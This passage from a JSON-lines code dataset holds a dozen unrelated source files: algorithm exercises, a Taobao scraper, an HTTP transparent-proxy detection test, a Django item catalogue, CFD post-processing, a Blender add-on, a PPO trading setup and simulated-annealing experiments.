list[int]) -> int:\n if len(nums) < 3:\n return 0\n dp = [0] * len(nums)\n for i in range(2, len(nums)):\n if nums[i] - nums[i - 1] == nums[i - 1] - nums[i - 2]:\n dp[i] = dp[i-1] + 1\n return sum(dp)\n\n\nif __name__ == '__main__':\n print(Solution().numberOfArithmeticSlices([1,2,3,8,9,10]))\n print(Solution().numberOfArithmeticSlices([1,2,3,4]))","sub_path":"answers/numberOfArithmeticSlices.py","file_name":"numberOfArithmeticSlices.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"359376691","text":"from selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom pyquery import PyQuery as pq\nfrom config import *\nfrom urllib.parse import quote\n\nchrome_options = webdriver.ChromeOptions()\n#chrome_options.add_argument('--headless') #关闭窗口\nbrowser = webdriver.Chrome(options=chrome_options)\n\nwait = WebDriverWait(browser, 10,poll_frequency=0.5)\n\ndef index_page(page):\n \"\"\"\n 抓取索引页\n :param page: 页码\n \"\"\"\n print('正在爬取第', page, '页')\n try:\n url = 'https://s.taobao.com/search?q=' + quote(\"iphone\")\n browser.get(url)\n print(\"-----------1----------\")\n if page > 1:\n print(\"----------2----------\")\n input = wait.until(\n EC.presence_of_element_located((By.CSS_SELECTOR, '#mainsrp-pager div.form > input')))\n submit = wait.until(\n EC.element_to_be_clickable((By.CSS_SELECTOR, '#mainsrp-pager div.form > span.btn.J_Submit')))\n input.clear()\n input.send_keys(page)\n submit.click()\n print(\"------------3-------------\")\n wait.until(EC.text_to_be_present_in_element((By.CSS_SELECTOR, '#mainsrp-pager li.item.active > span'), str(page)))\n wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, '.m-itemlist .items .item')))\n # get_products()\n except TimeoutException as tou:\n print(\"TimeoutException error: {0}\".format(tou))\n index_page(page)\n except BaseException as e:\n print(\"BaseException error: {0}\".format(e))\n\ndef get_products():\n \"\"\"\n 提取商品数据\n \"\"\"\n html = browser.page_source\n print(html)\n doc = pq(html)\n items = doc('#mainsrp-itemlist .items .item').items()\n for item in items:\n product = {\n 'image': item.find('.pic .img').attr('data-src'),\n 'price': item.find('.price').text(),\n 'deal': item.find('.deal-cnt').text(),\n 'title': item.find('.title').text(),\n 'shop': item.find('.shop').text(),\n 'location': item.find('.location').text()\n }\n print(product)\n \ndef main():\n \"\"\"\n 遍历每一页\n \"\"\"\n for i in range(1, MAX_PAGE + 1):\n index_page(i)\n browser.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"pankx-spider.py","file_name":"pankx-spider.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"416284880","text":"from __future__ import print_function\n\nimport time\nimport math\nimport sys\nimport functools\nimport socket\nimport requests\nimport gzip\nimport threading\n\ntry:\n import pcap\n import dpkt\nexcept:\n pcap_enabled = False\nelse:\n pcap_enabled = True\n\n\nhost_ip = \"68.65.123.179\" # ooni.nu\npcap_interface = \"wlp2s0\" # set to None to disable packet capture\n\n\ndef tcp_send_recv(host, port, payload):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n s.send(payload)\n buf = s.recv(1024)\n s.close()\n return buf\n\ndef http_request(version):\n payload = \"GET / HTTP/{}\\r\\nHost: ooni.nu\\r\\n\\r\\n\".format(version).encode()\n return tcp_send_recv(host_ip, 80, payload)\n\ndef response_success(response):\n return b\"HTTP/1.1 302 Moved Temporarily\\r\\nServer: nginx/1.0.15\\r\\n\" in response\n\ndef response_proxied(response):\n # The real web server responds with lowercase keep-alive\n return b\"\\r\\nConnection: Keep-Alive\\r\\n\" in response\n\ndef timer():\n start = time.time()\n return lambda: time.time() - start\n\ndef timer_format(t):\n return int(t()) - 60\n\ndef result_format(t, r, label=None):\n if label is not None:\n return \"[T={:4}] ({}) success={} proxied={}\".format(timer_format(t), label, response_success(r), response_proxied(r))\n else:\n return \"[T={:4}] success={} proxied={}\".format(timer_format(t), response_success(r), response_proxied(r))\n\ndef logged_print(f, msg):\n print(msg, file=sys.stdout)\n print(msg, file=f)\n sys.stdout.flush()\n f.flush()\n\ndef fetch_network_name():\n r = requests.get(\"http://ipinfo.io/json\")\n if r.status_code != 200:\n return None\n return r.json()['org']\n\ndef start_pcap(pcap_enabled, pcap_interface, host_ip, dumpfile):\n if pcap_enabled and pcap_interface is not None:\n try:\n pc = pcap.pcap(name=pcap_interface)\n pc.setfilter(\"src host {} or dst host {}\".format(host_ip, host_ip))\n pc.setnonblock(True)\n gz = gzip.GzipFile(dumpfile, \"w\")\n writer = dpkt.pcap.Writer(gz)\n t = threading.Thread(target=dump_pcap, args=(pc, writer, gz))\n t.start()\n return pc, writer\n\n except OSError:\n print(\" Insufficient permissions for packet capture, proceeding without\")\n return None, None\n\n else:\n if not pcap_enabled:\n print(\" Skipping packet capture, install pypcap and dpkt to enable\")\n return None, None\n\ndef dump_pcap(pc, writer, gz):\n try:\n while not gz.closed:\n for ts, pkt in pc.readpkts():\n writer.writepkt(pkt, ts)\n gz.flush()\n time.sleep(1)\n\n except ValueError:\n # file closed while writing\n return\n\ndef run_test():\n start_time = time.gmtime()\n basename = \"keepalive-proxy-test-{}\".format(time.strftime(\"%Y-%m-%d-%H-%M-%S\", start_time))\n log_file = open(basename + \".log\", \"w\")\n log = functools.partial(logged_print, log_file)\n pc, writer = start_pcap(pcap_enabled, pcap_interface, host_ip, basename + \".pcap.gz\")\n\n try:\n log(\" Test started at {} UTC\".format(time.strftime(\"%Y-%m-%d %H:%M:%S\", start_time)))\n log(\" Network: {}\".format(fetch_network_name()))\n log(\" Checking that requests are being intercepted for 60 seconds\")\n\n t = timer()\n\n while t() < 60:\n r = http_request(\"1.1\")\n log(result_format(t, r))\n \n if not (response_success(r) and response_proxied(r)):\n log(\" Pre-flight checks failed, aborting test\")\n return\n\n time.sleep(10)\n\n log(\" Transparent proxy appears to be running and stable\")\n log(\" Inserting a request with HTTP version 1.2\")\n\n r = http_request(\"1.2\")\n log(result_format(t, r, \"HTTP/1.2\"))\n\n log(\" Back to HTTP version 1.1 now, let's see what happens\")\n\n while t() < 60*30:\n r = http_request(\"1.1\")\n log(result_format(t, r))\n time.sleep(10)\n\n log(\" Test complete\")\n\n except KeyboardInterrupt:\n print(\"\")\n log(\" Test interrupted\")\n\n finally:\n log_file.close()\n if writer is not None:\n writer.close()\n\nif __name__ == \"__main__\":\n run_test()\n","sub_path":"keepalive-proxy-test.py","file_name":"keepalive-proxy-test.py","file_ext":"py","file_size_in_byte":4379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"58916479","text":"# -*- coding: utf-8 -*-\n# __author__ = 'XingHuan'\n# 8/30/2018\n\n# Copyright 2018 XingHuan\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport os\nfrom sins.utils.python import get_class_from_name_data\nfrom .status import get_entity_status_icon\n\nOBJECT_ICON_SIZE = 17\n\n\ndef get_entity_text(entity, linkable=True):\n label = entity.label_name\n text = ''\n icon = entity.icon_b\n if hasattr(entity, 'icon'):\n text += ''.format(\n icon=icon,\n size=OBJECT_ICON_SIZE\n )\n if linkable:\n text += '{label}'.format(\n url=entity.page_url,\n label=label\n )\n else:\n text += '{label}'.format(\n label=label\n )\n status_icon = get_entity_status_icon(entity)\n if status_icon is not None and os.path.exists(status_icon):\n text += ''.format(\n icon=status_icon,\n size=OBJECT_ICON_SIZE\n )\n\n return text\n\n","sub_path":"sins/ui/widgets/data_view/utils/entity_text.py","file_name":"entity_text.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"111360524","text":"import numpy as np\n\nfrom tikreg import BasePrior\nimport tikreg.utils as tikutils\n\n\nclass CustomPrior(BasePrior):\n '''Specify a custom prior\n '''\n def __init__(self, *args, **kwargs):\n '''\n '''\n super(CustomPrior, self).__init__(*args, **kwargs)\n\n\nclass SphericalPrior(BasePrior):\n '''Equivalent to ridge.\n '''\n def __init__(self, feature_space, **kwargs):\n '''\n '''\n if isinstance(feature_space, np.ndarray):\n nfeatures = feature_space.shape[-1]\n elif np.isscalar(feature_space):\n nfeatures = feature_space\n elif isinstance(feature_space, tuple):\n # last dimension is features\n nfeatures = feature_space[1]\n else:\n raise ValueError('%s is not allowed'%type(feature_space))\n\n raw_prior = np.eye(nfeatures)\n super(SphericalPrior, self).__init__(raw_prior, **kwargs)\n\n def get_prior(self, alpha=1.0):\n return alpha**-2.0 * self.asarray\n\n\nclass PriorFromPenalty(BasePrior):\n '''\n '''\n def __init__(self, penalty, wishart=True, **kwargs):\n '''\n '''\n prior = np.zeros_like(penalty)\n super(PriorFromPenalty, self).__init__(prior, **kwargs)\n\n # overwrite penalty after init\n self.penalty = penalty.copy()\n self.wishart = np.eye(penalty.shape[0])\n\n def prior2penalty(self, regularizer=0.0, dodetnorm=True):\n if regularizer > 0.0:\n # make sure we have a valid prior\n assert not np.allclose(self.prior, 0)\n penalty = super(PriorFromPenalty, self).prior2penalty(regularizer=regularizer,\n dodetnorm=dodetnorm)\n elif dodetnorm:\n # re-scale\n penalty = self.penalty / tikutils.determinant_normalizer(self.penalty)\n else:\n # exact\n penalty = self.penalty\n return penalty\n\n def set_wishart(self, wishart_prior):\n '''\n '''\n if isinstance(wishart_prior, BasePrior):\n wishart_prior = wishart_prior.asarray\n assert np.allclose(wishart_prior.shape, self.penalty.shape)\n self.wishart = wishart_prior\n\n def get_prior(self, alpha=1.0, wishart_lambda=0.0, dodetnorm=False):\n '''\n '''\n # compute prior\n prior = np.linalg.inv(self.penalty + wishart_lambda*self.wishart)\n\n if dodetnorm:\n prior /= tikutils.determinant_normalizer(prior)\n\n return alpha**-2.0 * prior\n","sub_path":"tikreg/spatial_priors.py","file_name":"spatial_priors.py","file_ext":"py","file_size_in_byte":2531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"310474405","text":"\"\"\"\n=================== TASK 1 ====================\n* Name: Caesar Cipher\n*\n* Caesar Cipher is encryption technique in which\n* each letter in the plaintext is replaced by a\n* letter some fixed number of positions down the\n* alphabet. The method is named after Julius Caesar,\n* who used it in his private correspondence.\n*\n* Write a script that will accept number of positions\n* that should be shifted down the Unicode code points\n* of character. White spaces and punctuation marks\n* should be ignored during encryption process.\n*\n* Hint: `ord()` returns integer representing Unicode\n* code point for single character.\n*\n* Note: Please describe in details possible cases\n* in which your solution might not work.\n*\n* Use main() function to test your solution.\n===================================================\n\"\"\"\n\ninp = input('Input the text you want to code:\\n')\ninp = inp.lower()\n\nkey = int(input('Input the key you want to use from 2 to 25:\\n'))\ndef rot13(input,key): #Function to code a text with caeser chyper.\n if key > 25:\n key = 25\n elif key < 2:\n key = 2\n finaltext = ''\n for letter in input:\n if letter.isalpha():\n num = ord(letter)\n if (num + key) > 122: #If the final number is greater than 122..\n x = (num + key) - 122\n finaltext += chr(x + ord('a') - 1)\n elif((num + key <= 122)):\n finaltext += chr(num + key)\n else:\n finaltext += letter\n print(finaltext)\n\n\nrot13(inp,key)\n\n\n# Write your functions here\n\n\n\ndef main():\n # Test your functions here\n pass\n\nif __name__ == \"__main__\":\n main()","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"28644763","text":"#!/usr/bin/env python3\n#####!/usr/bin/env python\n\n#Script for reading the different cylinder volumetric samples in time and performing angular accumulation\n#Defining environment with native utilities\nimport os\nimport shutil\nimport sys\n#import math\nimport numpy as np\n#import scipy\n#import cython\n\nFS=os.sep\n\n#Defining environment with parallel utilities\n#from joblib import Parallel, delayed\nimport multiprocessing\n\n#Defining environment with my utilities\nfrom strings_AEG import *\n\n\n#defining functions that will later be integrated into another file\ndef unique_rows(a):\n order = np.lexsort(a.T)\n a = a[order]\n diff = np.diff(a, axis=0)\n ui = np.ones(len(a), 'bool')\n ui[1:] = (diff != 0).any(axis=1) \n return a[ui]\n\n#defining a function to delete the last line of a file\ndef deleteLastLine(fileName):\n afile=open(fileName,\"rb+\") #Opening the file in binary mode\n afile.seek(0, os.SEEK_END) #Move the pointer to the end of the file\n pos = afile.tell() -1 #Define the position one character before the end\n while pos > 0 and afile.read(1) != b\"\\n\": #Read backwards until finding another EOL\n pos -= 1 #Note that b\"\\n\" is the binary character EOL\n afile.seek(pos, os.SEEK_SET)\n #End while pos >0\n if pos > 0: #Truncate everything from where we are using truncate\n afile.seek(pos, os.SEEK_SET)\n afile.truncate()\n afile.write(b\"\\n\") #Adding an end of line after truncating because I need this character at the end of the exisiting line\n #End if pos>0 \n afile.close()\n#End def deleteLastLine\n\n\n#The case to analyse\ncaseDir=\"/home/espinosa/ExternalMounts/IRDS/PC_ParticleCapture/disk_YY_MCPC/OpenFOAM/espinosa-2.3.x/run/FlowFields/Inline/2D/2D_inline64_SF8.0_Re100\"\n#caseDir=\"/scratch/pawsey0106/espinosa/OpenFOAM/espinosa-2.3.x/run/FlowFields/Inline/2D/2D_inline64_SF8.0_Re100\"\nvolumetricDir=os.path.join(caseDir,\"postProcessing\",\"volumetricCirclesReal\")\n####For testing volumetricDir=os.path.join(caseDir,\"postProcessing\",\"test\")\n\n#The collectors centres in the basic mesh\nlowLeft=np.array([-0.015666, -0.015666, -8.8620278672547E-4])\ntopRight=np.array([0.046998, 0.046998, 8.8620278672547E-4])\ndeltaL=topRight-lowLeft\nDCollector=0.01\nrCollector=DCollector/2\ncylNamesBase=list([\"cylinder_downLeft\",\"cylinder_upLeft\", \"cylinder_upRight\", \"cylinder_downRight\" ])\ncylCentresBase=np.array([[0, 0], [0, 0.031332], [0.031332, 0.031332], [0.031332, 0]])\nNCylBase=len(cylNamesBase)\n\n#The python processed names\npythonDir=os.path.join(caseDir,\"postProcessing\",\"pythonFiles\")\nif not os.path.exists(pythonDir):\n os.makedirs(pythonDir)\noutAngularDir=os.path.join(pythonDir, \"Angular\")\nif not os.path.exists(outAngularDir):\n os.makedirs(outAngularDir)\n\n#The existing times in the volumetric directory\nlistTimesRaw=os.listdir(volumetricDir)\nprint(listTimesRaw[-1])\n##listTimesClean=sorted( list( [ x for x in listTimesRaw if is_number(x)]))\nlistTimesClean=list( [ x for x in listTimesRaw if is_number(x)])\n#print(listTimesClean[-1])\nlistTimesClean.sort(key=float)\n#print(listTimesClean[-1])\narrayTimes=np.array(listTimesClean, dtype=np.float)\n#print(arrayTimes[-1])\n#print(np.shape(arrayTimes))\nNtimes=len(arrayTimes)\narrayTimesSorted=np.sort(arrayTimes)\n#print(arrayTimesSorted[-1])\n#print(np.shape(arrayTimesSorted))\nif np.array_equal(arrayTimesSorted, arrayTimes):\n print(\"Time array is ready and has\", Ntimes, \" times\")\nelse:\n print(\"Time array from directories has a sorting problem\")\n listFile=open(os.path.join(outAngularDir, \"aaatimesSortedText.dat\"),'w')\n timesFile=open(os.path.join(outAngularDir, \"aaatimesSortedNumerical.dat\"),'w')\n np.savetxt(listFile, arrayTimes)\n np.savetxt(timesFile, arrayTimesSorted)\n listFile.close() \n timesFile.close()\n sys.exit()\n#End if np.array_equal\n\n#The cylinder names array\n#Intended to read the cylinder names directly from the files:\n####listCylNamesRaw=os.listdir(volumetricDir+\"/\"+listTimesClean[0])\n####listCylNamesClean=list([x for x in listCylNamesRaw if \"cylinder\" in x ])\n####Ncylinders=len(listCylNamesClean)\n####print(\"There are \", Ncylinders, \" cylinders\")\n#Generating the list of cylinder names and the array of their centres with a cycle\nNSX=4\nNSY=4\n####NSX=1 #For testing\n####NSY=1\nlistCylNamesClean=list([]);\ncentresClean=np.reshape([-1000, -1000], (1, 2)); #dummy trick to start with an array of the right shape\nprint(centresClean.shape)\nfor ii in range(0, NSX):\n for jj in range(0, NSY):\n for kk in range(0, NCylBase):\n listCylNamesClean.append(\"rp009008_\"+cylNamesBase[kk]+\"_piece_\"+str(ii+1)+\"_\"+str(jj+1)+\"_Real_U.xy\") \n #centresClean=np.append(centresClean, cylCentresBase[kk, :]+np.array([ii*deltaL[0], jj*deltaL[1]]), axis=0)\n newCentre=np.reshape(cylCentresBase[kk, :], (1, 2))+np.reshape([ii*deltaL[0], jj*deltaL[1]], (1, 2))\n centresClean=np.append(centresClean, newCentre, axis=0)\ncentresClean=np.delete(centresClean, 0, 0)\nprint(centresClean.shape)\nprint(centresClean)\nNCylinders=len(centresClean[:, 1])\nprint(\"There are NCylinders=\", NCylinders)\n\n\n\n#------------------------------\n#Cycle for processing each cylinder\n\n#New for parallel. Preparation of the input for the new function calcOneVolumetric,\ninputs = [];\nfor ii in range(0,NCylinders):\n inputs.append((ii))\n \n#Two New lines for the definition a function that will be operated in parallel instead of the original serial for loop,\ndef calcOneVolumetric(iiAndOthers):\n ii = iiAndOthers\n\n#Original line defining the serial for loop,\n####for ii in range(0,NCylinders):\n\n#Rest of the lines are the same, either for the for loop or the function (defined above)\n iName=listCylNamesClean[ii]\n baseName, extension =os.path.splitext( iName)\n outputName=os.path.join(outAngularDir, baseName+\"_AngularFlux\"+\".dat\") \n backupName=os.path.join(outAngularDir, baseName+\"_AngularFlux\"+\".dat\"+\".bak\") \n print(outputName)\n existingTime=np.reshape([-1000, -1000], (1, 2)); #dummy trick to start with an array of the right shape\n if os.path.isfile(outputName):\n try:\n print(\"Reading the matrix for the first time, cylinder: \", baseName)\n MAux=np.genfromtxt(outputName)\n except:\n print(\"Something went wrong with first reading, cylinder: \", baseName)\n print(\"Backing up to file .back0 and Deleting the last line, cylinder: \", baseName)\n shutil.copy(outputName, backupName+\"0\")\n deleteLastLine(outputName)\n print(\"Reading the matrix again, cylinder: \", baseName)\n MAux=np.genfromtxt(outputName)\n #End try\n if len(MAux)>0:\n try:\n print(\"Reading existingTime, cylinder: \", baseName)\n existingTime=np.genfromtxt(outputName)[:, [0, 1]]\n except:\n print(\"Something went wrong with existingTime reading, cylinder: \", baseName)\n print(\"Backing up to file .back1 and Deleting the last line, cylinder: \", baseName)\n shutil.copy(outputName, backupName+\"1\")\n deleteLastLine(outputName)\n print(\"Reading the existingTime again, cylinder: \", baseName)\n existingTime=np.genfromtxt(outputName)[:, [0, 1]]\n #End try\n #End if len\n #End if os.path.isfile\n existingLastEnd=existingTime[-1, 1]\n existingLastIni=existingTime[-1, 0]\n arrayTimeLast=arrayTimes[-1] \n print(\"existingLast: \", [existingLastIni, existingLastEnd])\n if (existingLastEnd 0:\n utils.add_marker(name='', side='L', frame=self.left_ref_frame)\n\n if self.right_ref_frame > 0:\n utils.add_marker(name='', side='R', frame=self.right_ref_frame)\n else:\n for side in ['L', 'R']:\n utils.remove_marker(\n side=side)\n\n return\n\n\nclass AnimAideClone(PropertyGroup):\n\n move_factor: FloatProperty(default=0.0,\n min=-2.0,\n max=2.0,\n update=update_clone_move)\n\n cycle_options = [('NONE', 'None', '', '', 1),\n ('REPEAT', 'Repeat', '', '', 2),\n ('REPEAT_OFFSET', 'Repeat with Offset', '', '', 3),\n ('MIRROR', 'Mirrored', '', '', 4)]\n\n cycle_before: EnumProperty(\n items=cycle_options,\n name='Before',\n default='REPEAT_OFFSET'\n )\n\n cycle_after: EnumProperty(\n items=cycle_options,\n name='Before',\n default='REPEAT_OFFSET'\n )\n\n\nclass FrameBookmark(PropertyGroup):\n frame: IntProperty()\n name: StringProperty()\n\n\nclass Tool(PropertyGroup):\n\n use_markers: BoolProperty(default=True,\n description='use markers for the reference frames',\n update=toggle_tool_markers)\n\n unselected_fcurves: BoolProperty(default=False,\n description='Affect unselected fcurves')\n\n keys_under_cursor: BoolProperty(default=False,\n description='Affect unselected keys when cursor is over them')\n\n min_value: FloatProperty(default=-1)\n\n max_value: FloatProperty(default=1)\n\n show_factor: BoolProperty()\n\n flip: BoolProperty(default=True,\n description='Changes how the tools modal work')\n\n expand: BoolProperty(default=True,\n description='Toggle between compact and expanded modes for the Tools')\n\n expand_3d: BoolProperty(default=True)\n\n area: StringProperty()\n\n noise_phase: IntProperty(default=1,\n min=1,\n max=10,\n description='Change noise shape')\n\n noise_scale: FloatProperty(default=1.0,\n min=.01,\n max=2,\n description='Change noise scale')\n\n slope: FloatProperty(default=1.0,\n min=1.0,\n max=10.0,\n description='Determine how sharp the trasition is')\n\n overshoot: BoolProperty(update=update_overshoot,\n description='Allows for higher values')\n\n left_ref_frame: IntProperty()\n\n right_ref_frame: IntProperty()\n\n selector: EnumProperty(\n items=menu_items,\n name=\"Ease Tool Selector\",\n default='EASE_TO_EASE',\n update=update_selector\n )\n\n factor: FloatProperty(default=0.0,\n min=-1.0,\n max=1.0\n )\n\n factor_overshoot: FloatProperty(default=0.0,\n min=-2.0,\n max=2.0\n )\n\n frame_bookmarks: CollectionProperty(type=FrameBookmark)\n\n bookmark_index: IntProperty()\n\n\nclasses = (\n AnimAideClone,\n FrameBookmark,\n Tool,\n)\n","sub_path":"curve_tools/props.py","file_name":"props.py","file_ext":"py","file_size_in_byte":5431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"422930288","text":"\nclass Solution(object):\n def islandPerimeter(self, grid):\n \"\"\"\n\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n permeter = 0\n n = len(grid)\n m = len(grid[0])\n for i in range(0, n):\n for j in range(0, m):\n if grid[i][j] == 1:\n if i == 0 or grid[i - 1][j] == 0: permeter += 1\n if i == n - 1 or grid[i + 1][j] == 0: permeter += 1\n if j == 0 or grid[i][j - 1] == 0: permeter += 1\n if j == m - 1 or grid[i][j + 1] == 0: permeter += 1\n return permeter\n\ngrid = [[0, 1, 0, 0], [1, 1, 1, 0], [0, 1, 0, 0], [1, 1, 0, 0]]\ns = Solution()\nprint(s.islandPerimeter(grid))","sub_path":"463islandPerimeter/islandPerimeter.py","file_name":"islandPerimeter.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"507962816","text":"import trading_vix\nimport network\nimport config as C\nimport torch.optim as optim\nimport ppo_learn\nimport torch\n\nif __name__ == '__main__':\n\n #initialize the environment\n env = trading_vix.trading_vix()\n\n observation_space_size = 6\n action_space_size = 1\n\n HIDDEN_SIZE = C.hidden_size\n DEVICE = C.device\n\n #first, we need to initialize the policy neural network model\n # the agent driven by a neural network architecture\n model = network.Agent(observation_space_size=observation_space_size,\n action_space_size=action_space_size,\n hidden_size=HIDDEN_SIZE).to(DEVICE)\n\n model_optim = optim.Adam(params=model.parameters(), lr=C.alpha)\n\n #initialize other variables\n\n replay_buffer = []\n replay_buffer_reward = []\n variance = torch.full(size=(action_space_size,), fill_value=C.variance_for_exploration)\n cov_matrix = torch.diag(variance)\n\n\n\n ppo_learn.ppo_learn(replay_buffer,replay_buffer_reward,env,model,cov_matrix,model_optim)\n","sub_path":"vix/model6/ppo_neural_network/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"287525048","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.contrib.auth import authenticate, login\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import logout\nfrom datetime import datetime\nfrom ffxiv_db.models import Category, Item, Approver\nfrom ffxiv_db.forms import ItemForm, SearchForm, ApprovalForm\n\ndef index(request):\n\n\tapprover_list = Approver.objects.all().__str__()\n\tcontext_dict = {'approvers': approver_list}\n\treturn render(request, 'ffxiv_db/index.html', context_dict)\n\t\ndef browse(request):\n\n\titem_list = Item.objects.all().filter(approved=True)\n\tcontext_dict = {'items': item_list}\n\t\n\treturn render(request, 'ffxiv_db/browse.html', context_dict)\n\t\ndef add_item(request):\n\tform = ItemForm()\n\t\n\tif request.method == 'POST':\n\t\tform = ItemForm(request.POST, request.FILES)\n\t\t\n\t\tif form.is_valid():\n\t\t\tform.save(commit=True)\n\t\t\treturn index(request)\n\t\telse:\n\t\t\tprint(form.errors)\n\treturn render(request, 'ffxiv_db/add_item.html', {'form': form})\n\t\ndef search(request):\n\tform = SearchForm()\n\t\n\tif request.method == 'POST':\n\t\tform = SearchForm(request.POST)\n\t\t\n\t\tif form.is_valid():\n\t\t\tsearch = form.cleaned_data['search']\n\t\t\tcat = form.cleaned_data['category']\n\t\t\tif cat == None:\n\t\t\t\tcat_items = Item.objects.all()\n\t\t\t\tprint(cat)\n\t\t\telse:\n\t\t\t\tcat_items = Item.objects.filter(category = cat)\n\t\t\t\tprint(cat)\n\t\t\tsearch_list = cat_items.filter(name__icontains = search)\n\t\t\tcontext_dict = {'items': search_list}\n\t\t\treturn render(request, 'ffxiv_db/search_results.html', context_dict)\n\t\telse:\n\t\t\tprint(form.errors)\n\treturn render(request, 'ffxiv_db/search.html', {'form': form} )\n\ndef show_item(request, item_name_slug):\n\titem = Item.objects.get(slug=item_name_slug)\n\treturn render(request, 'ffxiv_db/item.html', {'item': item})\n\t\ndef approve(request, item_name_slug):\n\titem = Item.objects.get(slug=item_name_slug)\n\tform = ApprovalForm()\n\t\n\tif request.method == 'POST':\n\t\tform = ApprovalForm(request.POST, instance=item)\n\t\t\n\t\tif form.is_valid():\n\t\t\titem = form.save(commit=False)\n\t\t\titem.iapproved = True\n\t\t\titem.save()\n\t\t\treturn index(request)\n\t\telse:\n\t\t\tprint(form.errors)\n\tcontext_dict = {'form': form, 'item': item}\n\treturn render(request, 'ffxiv_db/approve.html', context_dict)\n\t\n\t\ndef pending_approvals(request):\n\n\titem_list = Item.objects.all().filter(approved=False)\n\tcontext_dict = {'items': item_list}\n\t\n\treturn render(request, 'ffxiv_db/pending_approvals.html', context_dict)\n\t\ndef show_category(request, category_name_slug):\n\tcontext_dict = {}\n\t\n\n\tcategory = Category.objects.get(slug=category_name_slug)\n\t\t\n\titem_list = Item.objects.all().filter(approved=True, category=category)\n\tcontext_dict = {'items': item_list}\n\n\t\n\treturn render(request, 'ffxiv_db/category.html', context_dict)\n","sub_path":"ffxiv/ffxiv_db/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"507360456","text":"from tkinter import messagebox as mb\n\n\ndef error(string):\n \"\"\"\n Автор:\n Цель: обрабатывает исключения\n Вход: объект исключения\n Выход: Строковое сообщение\n \"\"\"\n mb.showerror(\"Ошибка\", string)\n\n\ndef yes_no(string):\n \"\"\"\n Автор: \\n\n Цель: Выводит окно с вопросом и ответами yes/no \\n\n Вход: сообщение \\n\n Выход: принятое решение (да/нет) \\n\n \"\"\"\n answer = mb.askyesno(title=\"Вопрос\", message=string)\n if answer:\n mb.showinfo(\"Cообщение\", \"Выполнено\")\n return answer\n mb.showinfo(\"Сообщение\", \"Отменено\")\n return answer\n\n\ndef warning(string, flag):\n \"\"\"\n Автор:\n Цель: Открывает окно с текстом-предупреждением\n Вход: сообщение\n Выход: Нет\n \"\"\"\n if not flag:\n mb.showwarning(\"Предупреждение\", string)\n else:\n mb.showinfo(\"Cообщение\", \"OK\")\n","sub_path":"Work/Library/error_edit_windows.py","file_name":"error_edit_windows.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"237581864","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sho import make, algo, iters, plot, num, bit, pb, proba, temp\nimport seaborn as sns\nimport pandas as pd\nimport pickle\n\n# choice of the solver\nsolver = \"bit_simulated_annealing\"\ntemperature = \"proportional\"\n\n# parameters of the experiment\ndomain_width = 30\nsensor_range = 0.3\nd = 2\nnb_sensors = 3\nvariation_scale = 0.3\ntarget = 900 # continue until the end\n\n# parameters of the analysis\nmean_nb = 25\nsteps = 1500\n\nhistory = []\niters = make.iter(\n iters.several,\n agains=[\n make.iter(iters.max,\n nb_it=steps),\n make.iter(iters.save,\n filename=solver+\".csv\",\n fmt=\"{it} ; {val} ; {sol}\\n\"),\n make.iter(iters.log,\n fmt=\"\\r{it} {val}\"),\n make.iter(iters.history,\n history=history),\n make.iter(iters.target,\n target=target),\n # iters.max(steps)\n ]\n)\n\neval_function = make.func(bit.cover_sum,\n domain_width=domain_width,\n sensor_range=sensor_range,\n dim=d * nb_sensors\n )\ninit_function = make.init(bit.rand_init_halt,\n domain_width=domain_width,\n nb_sensors=nb_sensors)\nneigh_function = make.neig(bit.neighb_square,\n scale=variation_scale,\n domain_width=domain_width)\nfig = plt.figure(figsize=(12, 12))\nax = fig.gca()\n\nif temperature == \"root\":\n temperature_func = temp.root\nelif temperature == \"proportional\":\n temperature_func = temp.proportional\nelif temperature == \"log\":\n temperature_func = temp.logarithmic\n \ndataframes = []\nfor stuck in range(100, 701, 100):\n whole_history = []\n for _ in range(mean_nb):\n val, sol = algo.simulated_annealing(\n eval_function,\n init_function,\n neigh_function,\n iters,\n make.proba(proba.exponential),\n 